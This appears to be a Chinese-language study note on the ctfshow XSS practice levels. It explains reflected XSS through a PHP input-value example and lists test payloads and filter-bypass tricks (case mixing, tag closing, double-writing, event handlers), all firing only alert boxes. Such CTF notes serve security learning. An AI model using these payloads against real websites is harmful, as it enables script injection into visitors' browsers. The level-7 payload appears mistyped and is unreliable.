ctfshow-xss

XSS Platform
踩坑 :不要 Apache 和 Nginx

练习平台链接

反射型xss

如 在反射型XSS PHP代码中,通过GET获取参数xss_input_value的值, 然后通过echo输出一个input标签, 并将xss_input_value的值放入input标签的value中。 当访问

1
xss_input_value="> <img src=1 onerror=alert(/xss/) />
时, 输出到页面的HTML代码变为:
1
<input type= "text" value=""> <img src=1 onerror=alert(/xss/) /> 
, 此段HTML代码有两个标签,input 标签和img标签, 而标签的作用就是让浏览器弹框显示"/xss/"

xss的测试语句:

1
2
3
4
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

level1-10绕过方式:

1
2
3
4
5
6
7
8
9
10
11
12

'autofocus OnfOcus=alert(1) x=' //大小写混合---level3

'autofocus OnfOcus=alert(1) x=' //大小写混合---level4

"/><a href=javascript:alert(1)>aa</a x="//闭合添加一个新标签---level5

“antofocus oonnocus=alert(1) x=" //双写绕过---level7

http://www.baidu.com/" onmousemove=alert(1) x=" //---level8

xssaq.com/yx/level10.php?keyword=ssa&t_sort=" type="text" oninput=alert(1) x=' //---level10